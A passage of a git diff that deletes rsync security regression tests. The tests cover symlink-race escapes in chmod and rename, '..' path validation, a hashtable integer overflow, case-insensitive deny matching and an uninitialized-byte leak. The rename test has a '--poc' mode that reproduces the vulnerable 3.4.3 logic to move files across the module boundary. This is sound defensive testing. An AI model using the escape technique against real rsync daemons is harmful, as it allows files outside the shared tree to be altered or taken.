scratch);\n-\t\t\tunlink(p);\n-\t\t\treturn 77;\n-\t\t}\n-\t\tfprintf(stderr, \"t_acl: probe acl_set_file failed: %s\\n\", strerror(errno));\n-\t\tunlink(p);\n-\t\treturn 77;\n-\t}\n-\tunlink(p);\n-\n-\tfprintf(stderr, \"t_acl: scratch=%s, setxattrat=%s\\n\",\n-\t\tscratch, xacl_at_available() ? \"yes\" : \"no\");\n-\n-\trun_access(\"a1\", A1, NELEM(A1), \"named-user+mask\");\n-\trun_access(\"a2\", A2, NELEM(A2), \"multi-named+mask\");\n-\trun_access(\"a3\", A3, NELEM(A3), \"large-uid\");\n-\trun_access(\"a4\", A4, NELEM(A4), \"zero-perms\");\n-\n-\trun_default(\"d1\", D1, NELEM(D1), \"minimal\");\n-\trun_default(\"d2\", D2, NELEM(D2), \"named+mask\");\n-\n-\trun_misc();\n-\n-\tfprintf(stderr, \"t_acl: %d failure(s)\\n\", errs);\n-\treturn errs ? 1 : 0;\n-}\n-\n-#endif /* SUPPORT_ACL_FD */\ndiff --git a/t_chmod_secure.c b/t_chmod_secure.c\ndeleted file mode 100644\nindex bb6d2dd..0000000\n--- a/t_chmod_secure.c\n+++ /dev/null\n@@ -1,156 +0,0 @@\n-/*\n- * Test harness for do_chmod_at(). Confirms the symlink-TOCTOU\n- * primitive used by CVE-2026-29518 (and its incomplete-fix follow-up\n- * for chmod) is closed by do_chmod_at(): a parent directory component\n- * being a symlink that escapes the receiver's confinement must be\n- * rejected, while a parent symlink that resolves *within* the tree\n- * must still work (so legitimate dir-symlinks are not regressed).\n- *\n- * Not linked into rsync itself.\n- *\n- * This program is free software; you can redistribute it and/or modify\n- * it under the terms of the GNU General Public License version 2 as\n- * published by the Free Software Foundation.\n- */\n-\n-#include \"rsync.h\"\n-\n-#include <sys/stat.h>\n-\n-int dry_run = 0;\n-int am_root = 0;\n-int am_sender = 0;\n-int read_only = 0;\n-int list_only = 0;\n-int copy_links = 0;\n-int copy_unsafe_links = 0;\n-extern int am_daemon, am_chrooted;\n-\n-short info_levels[COUNT_INFO], debug_levels[COUNT_DEBUG];\n-\n-static int errs = 0;\n-\n-\n-/* Does do_chmod_at()'s leaf handling refuse to follow a symlink at the final\n- * component? Yes wherever AT_SYMLINK_NOFOLLOW exists; otherwise the wrapper\n- * falls back to a following fchmodat() (documented limitation). Mirrors the\n- * #ifdef ladder in do_fchmodat_nofollow. */\n-static int leaf_chmod_nofollow_supported(void)\n-{\n-#if defined AT_SYMLINK_NOFOLLOW\n-\treturn 1;\n-#else\n-\treturn 0;\n-#endif\n-}\n-\n-static void check(const char *label, int actual_rc, int expect_ok,\n-\t\t  const char *path, mode_t expected_mode)\n-{\n-\tstruct stat st;\n-\tint got_ok = (actual_rc == 0);\n-\t/* expect_ok < 0: rc is platform-dependent, don't assert it (leaf-symlink\n-\t * scenario); only the target-mode check below is portable. */\n-\tif (expect_ok >= 0 && got_ok != expect_ok) {\n-\t\tfprintf(stderr, \"FAIL [%s]: rc=%d errno=%d (%s), expected %s\\n\",\n-\t\t\tlabel, actual_rc, errno, strerror(errno),\n-\t\t\texpect_ok ? \"success\" : \"rejection\");\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\tif (path && stat(path, &st) < 0) {\n-\t\tfprintf(stderr, \"FAIL [%s]: stat(%s) failed: %s\\n\",\n-\t\t\tlabel, path, strerror(errno));\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\tif (path && (st.st_mode & 07777) != expected_mode) {\n-\t\tfprintf(stderr,\n-\t\t\t\"FAIL [%s]: %s mode is 0%o, expected 0%o\\n\",\n-\t\t\tlabel, path, st.st_mode & 07777, expected_mode);\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\tfprintf(stderr, \"OK   [%s]\\n\", label);\n-}\n-\n-int main(int argc, char **argv)\n-{\n-\tif (argc != 2) {\n-\t\tfprintf(stderr, \"usage: %s <module-dir>\\n\", argv[0]);\n-\t\treturn 2;\n-\t}\n-\tif (chdir(argv[1]) < 0) {\n-\t\tperror(\"chdir\");\n-\t\treturn 2;\n-\t}\n-\n-\t/* Simulate the daemon-without-chroot deployment that do_chmod_at()\n-\t * defends. With am_daemon=0 or am_chrooted=1 the wrapper falls\n-\t * through to plain do_chmod() and the symlink-race test would be\n-\t * meaningless. */\n-\tam_daemon = 1;\n-\tam_chrooted = 0;\n-\n-\t/* Test layout (all inside the directory we just chdir'd to):\n-\t *\n-\t *     ./realdir/sentinel        -- regular target file\n-\t *     ./inside_link -> realdir  -- legitimate dir-symlink within the tree\n-\t *     ./escape_link -> ../trap  -- attacker swap, target outside tree\n-\t *     ../trap/sentinel          -- the file the attacker wants to alter\n-\t *\n-\t * The shell wrapper that calls this helper has set both sentinel\n-\t * files to mode 0600 so we have a clean baseline to compare.\n-\t */\n-\n-\t/* Scenario A: legitimate parent dir-symlink within the tree.\n-\t *\n-\t * The within-tree symlink is followed and the chmod must succeed on\n-\t * every platform: the kernel RESOLVE_BENEATH paths (Linux 5.6+ openat2,\n-\t * FreeBSD 13+ / macOS 15+ O_RESOLVE_BENEATH) and, since the #715/-K\n-\t * fallback fix, the per-component O_NOFOLLOW walk too (OpenBSD, NetBSD,\n-\t * Solaris, older Cygwin, HPE NonStop, pre-5.6 Linux) -- which now follows\n-\t * an in-tree directory symlink whose target is relative and \"..\"-free.\n-\t * Escapes are still rejected on both paths (Scenario B). */\n-\tint rc = do_chmod_at(\"inside_link/sentinel\", 0640);\n-\tcheck(\"A: legit dir-symlink within tree (followed)\",\n-\t      rc, 1, \"realdir/sentinel\", 0640);\n-\n-\t/* Scenario B: parent symlink escapes the tree -- chmod must be\n-\t * rejected and the outside file's mode must be unchanged. */\n-\trc = do_chmod_at(\"escape_link/sentinel\", 0666);\n-\tcheck(\"B: parent symlink escapes tree (the attack)\",\n-\t      rc, 0, \"../trap/sentinel\", 0600);\n-\n-\t/* Scenario C: plain relative path with no symlink components,\n-\t * regression check that the safe wrapper doesn't break the\n-\t * normal case. */\n-\trc = do_chmod_at(\"realdir/sentinel\", 0644);\n-\tcheck(\"C: plain relative path (regression check)\",\n-\t      rc, 1, \"realdir/sentinel\", 0644);\n-\n-\t/* Scenario D: top-level file, no parent directory component.\n-\t * Falls back to do_chmod(); should succeed. */\n-\trc = do_chmod_at(\"topfile\", 0640);\n-\tcheck(\"D: top-level file, no parent component\",\n-\t      rc, 1, \"topfile\", 0640);\n-\n-\t/* Scenario E: the LEAF component is an escaping symlink -- the chmod-\n-\t * specific TOCTOU, distinct from the parent races A/B. realdir is a real\n-\t * directory, isolating the O_NOFOLLOW leaf guard. rc is platform-dependent\n-\t * (refused on Linux, lchmod-the-symlink on *BSD/macOS), so assert only that\n-\t * the outside target's mode is unchanged. */\n-\tif (leaf_chmod_nofollow_supported()) {\n-\t\trc = do_chmod_at(\"realdir/leaflink\", 0666);\n-\t\tcheck(\"E: leaf component is an escaping symlink (must not be followed)\",\n-\t\t      rc, -1, \"../trap/sentinel\", 0600);\n-\t} else {\n-\t\tfprintf(stderr, \"INFO: leaf-nofollow chmod unsupported here; \"\n-\t\t\t\"do_chmod_at follows a leaf symlink (documented limitation), \"\n-\t\t\t\"skipping scenario E\\n\");\n-\t}\n-\n-\tif (errs)\n-\t\tfprintf(stderr, \"%d failure(s)\\n\", errs);\n-\treturn errs ? 1 : 0;\n-}\ndiff --git a/t_clean_fname.c b/t_clean_fname.c\ndeleted file mode 100644\nindex a72a12b..0000000\n--- a/t_clean_fname.c\n+++ /dev/null\n@@ -1,46 +0,0 @@\n-/* Unit test for KI-50: clean_fname(name, CFN_COLLAPSE_DOT_DOT_DIRS) must\n- * collapse \"..\" components.  An off-by-one left the collapse dead for all\n- * multi-component and absolute paths.  Exits 0 if all cases collapse correctly,\n- * 1 otherwise. */\n-\n-#define main rsync_main\n-#include \"rsync.h\"\n-#undef main\n-\n-#include <stdio.h>\n-\n-/* Globals referenced by syscall.o/util1.o (mirrors t_unsafe.c). */\n-int dry_run = 0, am_root = 0, am_sender = 1, read_only = 0, list_only = 0;\n-int copy_links = 0, copy_unsafe_links = 0;\n-short info_levels[COUNT_INFO], debug_levels[COUNT_DEBUG];\n-\n-static const struct { const char *in, *out; } cases[] = {\n-\t{ \"a/b/../c\",     \"a/c\" },\n-\t{ \"/x/y/../z\",    \"/x/z\" },\n-\t{ \"a/../b\",       \"b\" },\n-\t{ \"p/q/r/../../s\",\"p/s\" },\n-\t{ \"d/e/..\",       \"d\" },\n-};\n-\n-int main(int argc, char *argv[])\n-{\n-\t(void)argc; (void)argv;\n-\tint i, fails = 0, n = (int)(sizeof cases / sizeof cases[0]);\n-\tfor (i = 0; i < n; i++) {\n-\t\tchar buf[MAXPATHLEN];\n-\t\tstrlcpy(buf, cases[i].in, sizeof buf);\n-\t\tclean_fname(buf, CFN_COLLAPSE_DOT_DOT_DIRS);\n-\t\tif (strcmp(buf, cases[i].out) != 0) {\n-\t\t\tprintf(\"FAIL: clean_fname(\\\"%s\\\") = \\\"%s\\\", expected \\\"%s\\\"\\n\",\n-\t\t\t       cases[i].in, buf, cases[i].out);\n-\t\t\tfails++;\n-\t\t}\n-\t}\n-\tif (fails) {\n-\t\tprintf(\"clean_fname: %d case(s) not collapsed -- CFN_COLLAPSE_DOT_DOT_DIRS \"\n-\t\t       \"off-by-one\\n\", fails);\n-\t\treturn 1;\n-\t}\n-\tprintf(\"clean_fname: '..' collapse correct\\n\");\n-\treturn 0;\n-}\ndiff --git a/t_hashtable_overflow.c b/t_hashtable_overflow.c\ndeleted file mode 100644\nindex 598f4bf..0000000\n--- a/t_hashtable_overflow.c\n+++ /dev/null\n@@ -1,50 +0,0 @@\n-/*\n- * Regression harness for the hashtable size*node_size integer overflow\n- * (Leonid Bugaev May-2026 re-audit, KI-11/12).\n- *\n- * hashtable_create() once computed the slot-array byte count as\n- * new_array0(char, size * node_size) in 32-bit int arithmetic; for a large\n- * peer/data-driven size the product wrapped to a tiny value, under-allocating\n- * the table while tbl->size recorded the huge size -- a later node access then\n- * ran out of bounds (heap overflow / SEGV).  The fix passes size and node_size\n- * as separate factors so my_alloc's --max-alloc guard rejects the oversized\n- * request, exiting RERR_MALLOC instead of under-allocating.\n- *\n- * This harness sets a realistic max_alloc (t_stub leaves it at SIZE_MAX) and\n- * asks for an absurd size: the fixed code exits RERR_MALLOC; a regressed build\n- * under-allocates and crashes on the node access below.  Not linked into rsync.\n- *\n- * This program is free software; you can redistribute it and/or modify it under\n- * the terms of the GNU General Public License version 3 as published by the\n- * Free Software Foundation.\n- */\n-\n-#include \"rsync.h\"\n-\n-extern size_t max_alloc;\t/* defined in util2.o/t_stub.o */\n-short info_levels[COUNT_INFO], debug_levels[COUNT_DEBUG];\t/* for DEBUG_GTE in hashtable.o */\n-\n-int main(UNUSED(int argc), UNUSED(char *argv[]))\n-{\n-\tstruct hashtable *tbl;\n-\tint i;\n-\n-\t/* A realistic --max-alloc cap (the default is 1 GiB) so my_alloc's guard\n-\t * can engage; t_stub.o leaves max_alloc == SIZE_MAX. */\n-\tmax_alloc = (size_t)1024 * 1024 * 1024;\n-\n-\t/* 2^28 buckets * 16-byte node = 2^32 bytes: the product wraps int to ~0 in\n-\t * the unfixed code.  The fix must reject this (exit RERR_MALLOC) rather than\n-\t * under-allocate. */\n-\ttbl = hashtable_create(1 << 28, 0);\n-\n-\t/* Unreachable with the fix (hashtable_create exits above).  If a regression\n-\t * lets it return, touch a node near the claimed end -- an under-allocated\n-\t * table faults here -- and report the unexpected survival as a failure. */\n-\tfor (i = 0; i < tbl->size; i += tbl->size / 64 + 1) {\n-\t\tstruct ht_int32_node *node = HT_NODE(tbl, tbl->nodes, i);\n-\t\tnode->key = i;\n-\t}\n-\tfprintf(stderr, \"FAIL: hashtable_create(1<<28) was not rejected\\n\");\n-\treturn 1;\n-}\ndiff --git a/t_iwildmatch.c b/t_iwildmatch.c\ndeleted file mode 100644\nindex b307be2..0000000\n--- a/t_iwildmatch.c\n+++ /dev/null\n@@ -1,44 +0,0 @@\n-/* Unit test for KI-53: iwildmatch() must be case-insensitive on BOTH the text\n- * and the pattern.  The old code folded only the text, so an upper-case pattern\n- * (e.g. a \"hosts deny\" token *.BADDOMAIN.COM) failed to match a lower-case host\n- * -> access-control fail-open.  Exits 0 if all cases match, 1 otherwise. */\n-\n-#include <stdio.h>\n-\n-extern int iwildmatch(const char *pattern, const char *text);\n-\n-static const struct { const char *p, *t; int exp; } cases[] = {\n-\t{ \"abc\",           \"ABC\",              1 },  /* text folded (always worked) */\n-\t{ \"ABC\",           \"abc\",              1 },  /* pattern folded (the fix)    */\n-\t{ \"ABC\",           \"abd\",              0 },\n-\t{ \"*.EXAMPLE.COM\", \"foo.example.com\",  1 },\n-\t{ \"*.example.com\", \"FOO.EXAMPLE.COM\",  1 },\n-\t{ \"*.BADDOMAIN.COM\", \"x.baddomain.com\", 1 }, /* the access-control case */\n-\t{ \"[A-Z]bc\",       \"abc\",              1 },  /* upper-case range folds     */\n-\t{ \"[ABC]xy\",       \"bxy\",              1 },  /* upper-case class-member folds */\n-\t{ \"x[A-Z]z\",       \"xyz\",              1 },  /* range mid-pattern           */\n-\t{ \"[a-z]BC\",       \"abc\",              1 },  /* mixed: class + literal fold */\n-\t{ \"[\\\\A]bc\",       \"abc\",              1 },  /* escaped class member folds  */\n-\t{ \"[A-Z]bc\",       \"5bc\",              0 },  /* negative: digit not in range */\n-};\n-\n-int main(int argc, char *argv[])\n-{\n-\t(void)argc; (void)argv;\n-\tint i, fails = 0, n = (int)(sizeof cases / sizeof cases[0]);\n-\tfor (i = 0; i < n; i++) {\n-\t\tint r = iwildmatch(cases[i].p, cases[i].t);\n-\t\tif (r != cases[i].exp) {\n-\t\t\tprintf(\"FAIL: iwildmatch(%s, %s) = %d, expected %d\\n\",\n-\t\t\t       cases[i].p, cases[i].t, r, cases[i].exp);\n-\t\t\tfails++;\n-\t\t}\n-\t}\n-\tif (fails) {\n-\t\tprintf(\"iwildmatch: %d case(s) wrong -- the pattern is not folded \"\n-\t\t       \"(asymmetric case handling)\\n\", fails);\n-\t\treturn 1;\n-\t}\n-\tprintf(\"iwildmatch: case-insensitive on both text and pattern\\n\");\n-\treturn 0;\n-}\ndiff --git a/t_rename_secure.c b/t_rename_secure.c\ndeleted file mode 100644\nindex 79684a0..0000000\n--- a/t_rename_secure.c\n+++ /dev/null\n@@ -1,206 +0,0 @@\n-/*\n- * Test harness for do_rename_at(): a mixed top-level/slashed rename must still\n- * resolve the slashed side's parent under secure_relative_open() rather than\n- * fall back to plain rename(). Not linked into rsync. GPL version 2.\n- */\n-\n-#include \"rsync.h\"\n-\n-#include <sys/stat.h>\n-\n-int dry_run = 0;\n-int am_root = 0;\n-int am_sender = 0;\n-int read_only = 0;\n-int list_only = 0;\n-int copy_links = 0;\n-int copy_unsafe_links = 0;\n-extern int am_daemon, am_chrooted;\n-\n-short info_levels[COUNT_INFO], debug_levels[COUNT_DEBUG];\n-\n-static int errs = 0;\n-\n-#ifdef AT_FDCWD\n-/* The 3.4.3 bug: if either side has no slash the whole op fell back to plain\n- * rename(), leaving the slashed side's parent outside secure_relative_open(). */\n-static int vulnerable_mixed_rename_at(const char *old_path, const char *new_path)\n-{\n-\tconst char *old_slash, *new_slash;\n-\n-\tif (!old_path || !*old_path || *old_path == '/'\n-\t || !new_path || !*new_path || *new_path == '/')\n-\t\treturn do_rename(old_path, new_path);\n-\n-\told_slash = strrchr(old_path, '/');\n-\tnew_slash = strrchr(new_path, '/');\n-\tif (!old_slash || !new_slash)\n-\t\treturn do_rename(old_path, new_path);\n-\n-\treturn do_rename_at(old_path, new_path);\n-}\n-#endif\n-\n-static void check_exists(const char *label, const char *path, int expect_exists)\n-{\n-\tint exists = access(path, F_OK) == 0;\n-\n-\tif (exists != expect_exists) {\n-\t\tfprintf(stderr, \"FAIL [%s]: %s %s, expected %s\\n\",\n-\t\t\tlabel, path, exists ? \"exists\" : \"does not exist\",\n-\t\t\texpect_exists ? \"exists\" : \"does not exist\");\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\tfprintf(stderr, \"OK   [%s]: %s %s\\n\",\n-\t\tlabel, path, exists ? \"exists\" : \"does not exist\");\n-}\n-\n-static void check_rename(const char *label, const char *old_path,\n-\t\t\t const char *new_path, int expect_ok)\n-{\n-\tint rc;\n-\tint got_ok;\n-\tint saved_errno;\n-\n-\terrno = 0;\n-\trc = do_rename_at(old_path, new_path);\n-\tsaved_errno = errno;\n-\tgot_ok = rc == 0;\n-\n-\tif (got_ok != expect_ok) {\n-\t\tfprintf(stderr, \"FAIL [%s]: rename %s -> %s rc=%d errno=%d (%s), expected %s\\n\",\n-\t\t\tlabel, old_path, new_path, rc, saved_errno,\n-\t\t\tstrerror(saved_errno), expect_ok ? \"success\" : \"rejection\");\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\tfprintf(stderr, \"OK   [%s]: rename %s -> %s %s\\n\",\n-\t\tlabel, old_path, new_path, expect_ok ? \"succeeded\" : \"rejected\");\n-}\n-\n-static void check_vulnerable_rename(const char *label, const char *old_path,\n-\t\t\t\t    const char *new_path)\n-{\n-#ifdef AT_FDCWD\n-\tint rc;\n-\tint saved_errno;\n-\n-\terrno = 0;\n-\trc = vulnerable_mixed_rename_at(old_path, new_path);\n-\tsaved_errno = errno;\n-\n-\tif (rc != 0) {\n-\t\tfprintf(stderr, \"FAIL [%s]: vulnerable rename %s -> %s rc=%d errno=%d (%s), expected escape\\n\",\n-\t\t\tlabel, old_path, new_path, rc, saved_errno,\n-\t\t\tstrerror(saved_errno));\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\tfprintf(stderr, \"OK   [%s]: vulnerable rename %s -> %s escaped\\n\",\n-\t\tlabel, old_path, new_path);\n-#else\n-\tfprintf(stderr, \"SKIP [%s]: AT_FDCWD not available\\n\", label);\n-#endif\n-}\n-\n-static int run_escape_poc(const char *module_dir)\n-{\n-#ifndef AT_FDCWD\n-\tfprintf(stderr, \"SKIP: AT_FDCWD not available\\n\");\n-\treturn 77;\n-#else\n-\tif (chdir(module_dir) < 0) {\n-\t\tperror(\"chdir\");\n-\t\treturn 2;\n-\t}\n-\n-\tam_daemon = 1;\n-\tam_chrooted = 0;\n-\n-\tcheck_vulnerable_rename(\"P1: 3.4.3-style top-level source to escaping destination parent\",\n-\t\t\t\t\"poc-top-to-escape\", \"escape_link/vuln-created\");\n-\tcheck_exists(\"P1 source consumed\", \"poc-top-to-escape\", 0);\n-\tcheck_exists(\"P1 outside destination created\", \"../trap/vuln-created\", 1);\n-\n-\tcheck_vulnerable_rename(\"P2: 3.4.3-style escaping source parent to top-level destination\",\n-\t\t\t\t\"escape_link/poc-outside-source\", \"vuln-stolen\");\n-\tcheck_exists(\"P2 outside source consumed\", \"../trap/poc-outside-source\", 0);\n-\tcheck_exists(\"P2 destination created in module\", \"vuln-stolen\", 1);\n-\n-\tcheck_rename(\"P3: fixed top-level source to escaping destination parent\",\n-\t\t     \"fixed-top-to-escape\", \"escape_link/fixed-created\", 0);\n-\tcheck_exists(\"P3 source preserved\", \"fixed-top-to-escape\", 1);\n-\tcheck_exists(\"P3 outside destination absent\", \"../trap/fixed-created\", 0);\n-\n-\tcheck_rename(\"P4: fixed escaping source parent to top-level destination\",\n-\t\t     \"escape_link/fixed-outside-source\", \"fixed-stolen\", 0);\n-\tcheck_exists(\"P4 outside source preserved\", \"../trap/fixed-outside-source\", 1);\n-\tcheck_exists(\"P4 destination absent\", \"fixed-stolen\", 0);\n-\n-\tif (errs)\n-\t\tfprintf(stderr, \"%d failure(s)\\n\", errs);\n-\treturn errs ? 1 : 0;\n-#endif\n-}\n-\n-int main(int argc, char **argv)\n-{\n-\tif (argc == 3 && strcmp(argv[1], \"--poc\") == 0)\n-\t\treturn run_escape_poc(argv[2]);\n-\n-\tif (argc != 2) {\n-\t\tfprintf(stderr, \"usage: %s [--poc] <module-dir>\\n\", argv[0]);\n-\t\treturn 2;\n-\t}\n-\n-#ifndef AT_FDCWD\n-\tfprintf(stderr, \"SKIP: AT_FDCWD not available\\n\");\n-\treturn 77;\n-#else\n-\tif (chdir(argv[1]) < 0) {\n-\t\tperror(\"chdir\");\n-\t\treturn 2;\n-\t}\n-\n-\tam_daemon = 1;\n-\tam_chrooted = 0;\n-\n-\t/* Plain mixed paths must keep working. */\n-\tcheck_rename(\"A: top-level source to slashed destination\",\n-\t\t     \"top-to-dir\", \"realdir/top-to-dir\", 1);\n-\tcheck_exists(\"A source consumed\", \"top-to-dir\", 0);\n-\tcheck_exists(\"A destination created\", \"realdir/top-to-dir\", 1);\n-\n-\tcheck_rename(\"B: slashed source to top-level destination\",\n-\t\t     \"realdir/dir-to-top\", \"dir-to-top\", 1);\n-\tcheck_exists(\"B source consumed\", \"realdir/dir-to-top\", 0);\n-\tcheck_exists(\"B destination created\", \"dir-to-top\", 1);\n-\n-\t/* A slashed destination parent that escapes the module must be rejected. */\n-\tcheck_rename(\"C: top-level source to escaping destination parent\",\n-\t\t     \"top-to-escape\", \"escape_link/new-outside\", 0);\n-\tcheck_exists(\"C source preserved\", \"top-to-escape\", 1);\n-\tcheck_exists(\"C outside destination absent\", \"../trap/new-outside\", 0);\n-\n-\t/* A slashed source parent that escapes the module must be rejected too. */\n-\tcheck_rename(\"D: escaping source parent to top-level destination\",\n-\t\t     \"escape_link/outside-source\", \"stolen-from-outside\", 0);\n-\tcheck_exists(\"D outside source preserved\", \"../trap/outside-source\", 1);\n-\tcheck_exists(\"D destination absent\", \"stolen-from-outside\", 0);\n-\n-\tcheck_rename(\"E: shared slashed parent\",\n-\t\t     \"realdir/same-old\", \"realdir/same-new\", 1);\n-\tcheck_exists(\"E source consumed\", \"realdir/same-old\", 0);\n-\tcheck_exists(\"E destination created\", \"realdir/same-new\", 1);\n-\n-\tcheck_rename(\"F: top-level source to top-level destination\",\n-\t\t     \"top-old\", \"top-new\", 1);\n-\tcheck_exists(\"F source consumed\", \"top-old\", 0);\n-\tcheck_exists(\"F destination created\", \"top-new\", 1);\n-\n-\tif (errs)\n-\t\tfprintf(stderr, \"%d failure(s)\\n\", errs);\n-\treturn errs ? 1 : 0;\n-#endif\n-}\ndiff --git a/t_safe_arg.c b/t_safe_arg.c\ndeleted file mode 100644\nindex 6625fd9..0000000\n--- a/t_safe_arg.c\n+++ /dev/null\n@@ -1,56 +0,0 @@\n-/* Unit test for KI-54: safe_arg() in filename mode (opt==NULL) must not leak an\n- * uninitialized heap byte.  The escape counter and the writer disagreed on a\n- * backslash before a wildcard / a trailing backslash, leaving a gap that\n- * strlen() walks into.  We poison the heap first so the leaked byte is a\n- * deterministic non-NUL; then any extra byte makes the output differ from the\n- * expected exact quoting.  Exits 0 if all outputs are exact, 1 otherwise. */\n-\n-/* We link the real rsync objects (see the Makefile), so safe_arg() and all its\n- * globals come from options.o/exclude.o/etc; we only declare what we touch. */\n-#include \"rsync.h\"\n-\n-#include <stdio.h>\n-\n-extern char *safe_arg(const char *opt, const char *arg);\n-extern int protect_args, old_style_args, am_sender, relative_paths;\n-extern int trust_sender_args;\n-\n-static const struct { const char *arg, *exp; } cases[] = {\n-\t{ \"\\\\*\",    \"\\\\*\" },      /* backslash+wildcard: NOT doubled */\n-\t{ \"\\\\?\",    \"\\\\?\" },\n-\t{ \"\\\\[\",    \"\\\\[\" },\n-\t{ \"\\\\\",     \"\\\\\\\\\" },     /* trailing backslash: doubled (NUL-footgun case) */\n-\t{ \"\\\\*\\\\?\", \"\\\\*\\\\?\" },   /* two suppressed backslashes */\n-\t{ \"a\\\\*b\",  \"a\\\\*b\" },\n-\t{ \"\\\\a\",    \"\\\\\\\\a\" },    /* backslash+non-wildcard: doubled */\n-};\n-\n-int main(int argc, char *argv[])\n-{\n-\t(void)argc; (void)argv;\n-\tint i, fails = 0, n = (int)(sizeof cases / sizeof cases[0]);\n-\n-\tprotect_args = 0; old_style_args = 0; am_sender = 1;\n-\trelative_paths = 0; trust_sender_args = 1;\n-\n-\t/* Poison the heap so an uninitialized byte reads as 0xbe, not a lucky NUL. */\n-\tfor (i = 0; i < 256; i++) {\n-\t\tvoid *p = malloc(64);\n-\t\tif (p) { memset(p, 0xbe, 64); free(p); }\n-\t}\n-\n-\tfor (i = 0; i < n; i++) {\n-\t\tchar *r = safe_arg(NULL, cases[i].arg);\n-\t\tif (!r || strcmp(r, cases[i].exp) != 0) {\n-\t\t\tprintf(\"FAIL: safe_arg(NULL, \\\"%s\\\") = \\\"%s\\\" (len %zu), expected \\\"%s\\\"\\n\",\n-\t\t\t       cases[i].arg, r ? r : \"(null)\", r ? strlen(r) : 0, cases[i].exp);\n-\t\t\tfails++;\n-\t\t}\n-\t}\n-\tif (fails) {\n-\t\tprintf(\"safe_arg: %d case(s) wrong -- uninitialized-byte leak / miscount\\n\", fails);\n-\t\treturn 1;\n-\t}\n-\tprintf(\"safe_arg: filename-mode quoting is exact (no uninit byte)\\n\");\n-\treturn 0;\n-}\ndiff --git a/t_secure_relpath.c b/t_secure_relpath.c\ndeleted file mode 100644\nindex 0bbe419..0000000\n--- a/t_secure_relpath.c\n+++ /dev/null\n@@ -1,254 +0,0 @@\n-/*\n- * Test harness for secure_relative_open()'s front-door input\n- * validation. Codex audit Finding 5 noted that the existing check\n- *\n- *     if (strncmp(relpath, \"../\", 3) == 0 || strstr(relpath, \"/../\"))\n- *\n- * catches \"../foo\" and \"foo/../bar\" but misses bare \"..\" (an actual\n- * one-level escape on platforms that fall back to the per-component\n- * walk), as well as \"a/..\", \"foo/..\", and any other form that\n- * decomposes to a \"..\" component when split on \"/\". The kernel-\n- * enforced RESOLVE_BENEATH (Linux 5.6+) and O_RESOLVE_BENEATH\n- * (FreeBSD 13+, macOS 15+) reject these in-kernel; the per-\n- * component fallback used on NetBSD, OpenBSD, Solaris, Cygwin and\n- * pre-5.6 Linux does not, so the validation must happen at the\n- * front door.\n- *\n- * This helper invokes secure_relative_open() with each suspect\n- * input and checks both the failure (rc < 0) and the errno\n- * (EINVAL means \"rejected at the front door\"). Pre-fix, the kernel\n- * may reject with a different errno (EXDEV from RESOLVE_BENEATH);\n- * post-fix, the front-door check catches every variant up front\n- * with a consistent EINVAL across platforms.\n- *\n- * Not linked into rsync itself.\n- */\n-\n-#include \"rsync.h\"\n-\n-#include <sys/stat.h>\n-\n-int dry_run = 0;\n-int am_root = 0;\n-int am_sender = 0;\n-int read_only = 0;\n-int list_only = 0;\n-int copy_links = 0;\n-int copy_unsafe_links = 0;\n-extern int am_daemon, am_chrooted;\n-\n-short info_levels[COUNT_INFO], debug_levels[COUNT_DEBUG];\n-\n-static int errs = 0;\n-\n-static void check_unc_root(const char *path, size_t expected)\n-{\n-\tsize_t got = unc_root_len(path);\n-\n-\tif (got != expected) {\n-\t\tfprintf(stderr, \"FAIL [UNC root=%s]: got %lu, expected %lu\\n\",\n-\t\t\tpath ? path : \"(null)\", (unsigned long)got,\n-\t\t\t(unsigned long)expected);\n-\t\terrs++;\n-\t} else\n-\t\tfprintf(stderr, \"OK   [UNC root=%s]: %lu\\n\",\n-\t\t\tpath ? path : \"(null)\", (unsigned long)got);\n-}\n-\n-static void check_relpath(const char *relpath)\n-{\n-\tint fd;\n-\tint saved_errno;\n-\n-\terrno = 0;\n-\tfd = secure_relative_open(NULL, relpath, O_RDONLY | O_DIRECTORY, 0);\n-\tsaved_errno = errno;\n-\n-\tif (fd >= 0) {\n-\t\tfprintf(stderr,\n-\t\t\t\"FAIL [relpath=%-12s]: returned valid fd %d (escape) -- expected -1 EINVAL\\n\",\n-\t\t\trelpath, fd);\n-\t\tclose(fd);\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\n-\tif (saved_errno != EINVAL) {\n-\t\tfprintf(stderr,\n-\t\t\t\"FAIL [relpath=%-12s]: rejected but errno=%d (%s), expected EINVAL\\n\",\n-\t\t\trelpath, saved_errno, strerror(saved_errno));\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\n-\tfprintf(stderr, \"OK   [relpath=%-12s]: rejected with EINVAL\\n\", relpath);\n-}\n-\n-static void check_basedir(const char *basedir)\n-{\n-\tint fd;\n-\tint saved_errno;\n-\n-\terrno = 0;\n-\tfd = secure_relative_open(basedir, \"ok\", O_RDONLY | O_DIRECTORY, 0);\n-\tsaved_errno = errno;\n-\n-\tif (fd >= 0) {\n-\t\tfprintf(stderr,\n-\t\t\t\"FAIL [basedir=%-12s]: returned valid fd %d -- expected -1 EINVAL\\n\",\n-\t\t\tbasedir, fd);\n-\t\tclose(fd);\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\n-\tif (saved_errno != EINVAL) {\n-\t\tfprintf(stderr,\n-\t\t\t\"FAIL [basedir=%-12s]: rejected but errno=%d (%s), expected EINVAL\\n\",\n-\t\t\tbasedir, saved_errno, strerror(saved_errno));\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\n-\tfprintf(stderr, \"OK   [basedir=%-12s]: rejected with EINVAL\\n\", basedir);\n-}\n-\n-static void check_beneath_dotdot(void)\n-{\n-\tSTRUCT_STAT ast, fst;\n-\tint anchor, fd;\n-\n-\tanchor = open(\".\", O_RDONLY | O_DIRECTORY);\n-\tif (anchor < 0 || fstat(anchor, &ast) < 0) {\n-\t\tperror(\"open/fstat anchor\");\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\n-\tfd = secure_relative_open_at_beneath(anchor, \"alias/../subdir\",\n-\t\t\t\t\t     O_RDONLY | O_DIRECTORY, 0);\n-\tif (fd < 0 || fstat(fd, &fst) < 0 || fst.st_dev != ast.st_dev\n-\t || fst.st_ino == ast.st_ino) {\n-\t\tfprintf(stderr, \"FAIL [beneath safe]: in-anchor '..' was not 